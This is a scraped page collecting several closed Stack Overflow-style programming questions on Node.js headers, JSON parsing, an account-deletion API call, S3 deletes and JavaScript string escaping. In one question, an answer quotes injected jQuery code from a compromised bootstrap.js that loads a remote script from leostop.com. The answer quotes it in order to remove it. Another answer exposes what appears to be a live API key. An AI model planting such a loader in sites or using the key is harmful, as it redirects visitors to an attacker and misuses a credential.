NodeJS_RequestLib - How do I set customHeaders? [closed] - node.js

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 4 years ago.
Improve this question
I'm using the request lib request in my project and I need to inform to the API of another company (I can't modify the server) that a transaction was did.
Anyway, to inform to this API I need to use a custom header named api_key and when I try to do this, like that:
reqOptions = {
url: 'https://my_url_here.com',
body: JSON.stringify(transaction),
headers: {
'Content-Type': 'text/xml',
'charset': 'UTF-8',
'api_key:': 'my_api_key_here'
}
};
I'm getting the error:
error: TypeError [ERR_INVALID_HTTP_TOKEN]: Header name must be a valid HTTP token ["api_key:"]
How can I set the custom header?

Please check Custom HTTP Headers.
Your header have :
try use api_key.

Try change:
'api_key:': 'ak_live_a2a8ffae58614a42f6ab67c80a552eb1488e6'
to:
'api_key': 'ak_live_a2a8ffae58614a42f6ab67c80a552eb1488e6'

Related

My web site redirect http://leostop.com/tracking/tracking.php?full_url=http//mywebsite [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed last year.
Improve this question
my website redirects itself to this site : https://leostop.com/tracking/tracking.php?full_url=http://mywebsite.
Why does this happen and how do i solve this situation?
Thanks...
Search for the phrase "leostop" in your project source code and remove the code related to it.
I too encountered the same problem, for me, the code to redirect is written in bootstrap.js file.
var protocol = location.protocol;
$.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } });
I removed this above code and it solved the problem for me.
I hope it helps.

How to api response change [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 1 year ago.
Improve this question
I want to transfer the data into an array and my api response is like this
inside api response there is: locationslist :"[\"Location 2\",\"Location 2\"]"
How to get a clean response in react Js?
And I am also try a JSON.parse() it's give me error
This should do it just fine:
const localtionList = "[\"Location 2\",\"Location 2\"]";
console.log(JSON.parse(localtionList))
You are getting error because you are trying to parse JavaScript object using JSON.parse(). To fix the issue you need to pass JSON string to the JSON.parse() method like following:
const something = {
locationslist :"[\"Location 2\",\"Location 2\"]"
};
// This code will give error
console.log(JSON.parse(something));
// This will work fine because locationslist
// holds a JSON string
console.log(JSON.parse(something.locationslist));

Deleting/Closing a user does not work [closed]

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 6 years ago.
Improve this question
I'm making a call to:
DELETE {baseurl}/accounts/{accountId}/users
Request body contains:
{"users":[{"email":"<an email>"}]}
Response:
ERROR 400 Bad Request
{"errorCode": "INVALID_REQUEST_BODY",
"message": "The request body is missing or improperly formatted."}
What am I missing?
I was able to "delete" the user using RestSharp. So it is an api explorer issue.
Please see the documentation for the correct parameter usage: https://www.docusign.com/p/RESTAPIGuide/RESTAPIGuide.htm#REST%20API%20References/Close%20a%20User.htm?Highlight=delete%20user
FYI I tested and a DELETE worked fine. I used the following JSON.
{
"users":[{
"userId":"7f7d3f01-9894-4479-9108-fee8c250xxxx"
}]
}
I just fixed this in the API explorer. Please try now and let me know in case you are still running into issues.

Files aren't deleted from Amazon S3 [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Closed 7 years ago.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Improve this question
i'm using aws-sdk in nodejs, this is the part of the code that delete the files:
var s3_params = {
Bucket: util.getEnvVar('AWS_S3_BUCKET'),
Delete: {Objects: [{Key: document.bucket_path }]}
};
s3.deleteObjects(s3_params, function (err, data) {
if (err) {
res.send(err);
} else {
res.send(data);
}
});
The response that return from amazon look fine, but when i look on the bucket inside the s3 interface the file still exist.
also try to use "deleteObject" method with no success.
Thanks.
The code looks good. Are you sure you are passing a Key of a file that exists? Beware that if you try to delete a Key that does not exist, AWS won't throw an error, check this question.

syntax error unexpected string [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I have difficulty to solve this string problem
contentString = '<div id="infoHead">Drag me for new coordinates.</br></div>'+results[1].formatted_address+'<div id="latlng">'+
'Latitude: '+dmsLat+'</br>'+'Longitude: '+dmsLng+'</div>'+'</br>'+'<a href="//www.youtube.com/embed/Mzja4le8htk"'
+ 'style="width=420px; height=315px"'
+ 'onclick=' + '"window.open(this.href,'rockclimbing','left=400,top=250,width=420,height=315,toolbar=1,resizable=0');return false;"'
+ '>Click here for more details</a>'
For example through this code:
'"window.open(this.href,'rockclimbing','left=400,top=250,width=420,height=315,toolbar=1,resizable=0');return false;"'
it's show some error where rockclimbing and start from left until sizeable=0 cannot put single quatotion.
So how to solve this problem?
I can't provide the link since this is my second project. Any kind of help I'm really appreciated.
You need to escape the inner quotes:
'"window.open(this.href,\'rockclimbing\',\'left=400,top=250,width=420,height=315,toolbar=1,resizable=0\');return false;"'
Otherwise the single quote before rockclimbing terminates the string.
I will show you how to find your errors.
I am only including our example up to the first error.
As you move this piece into your environment this error should go away, provided
results[1].formatted_address
can be converted to a string.
Move in more and more of your original code as you fix your errors.
Good Luck!
Code Wrapped in Exception Handler for Error Reporting
try {
contentString = '<div id="infoHead">Drag me for new coordinates.</br></div>'
+results[1].formatted_address;
} catch(exception) {
console.log(exception.stack);
}
Console Log Output for Error Diagnosis
ReferenceError: results is not defined
at <anonymous>:2:84
at Object.InjectedScript._evaluateOn (<anonymous>:580:39)
at Object.InjectedScript._evaluateAndWrap (<anonymous>:539:52)
at Object.InjectedScript.evaluate (<anonymous>:458:21)

Resources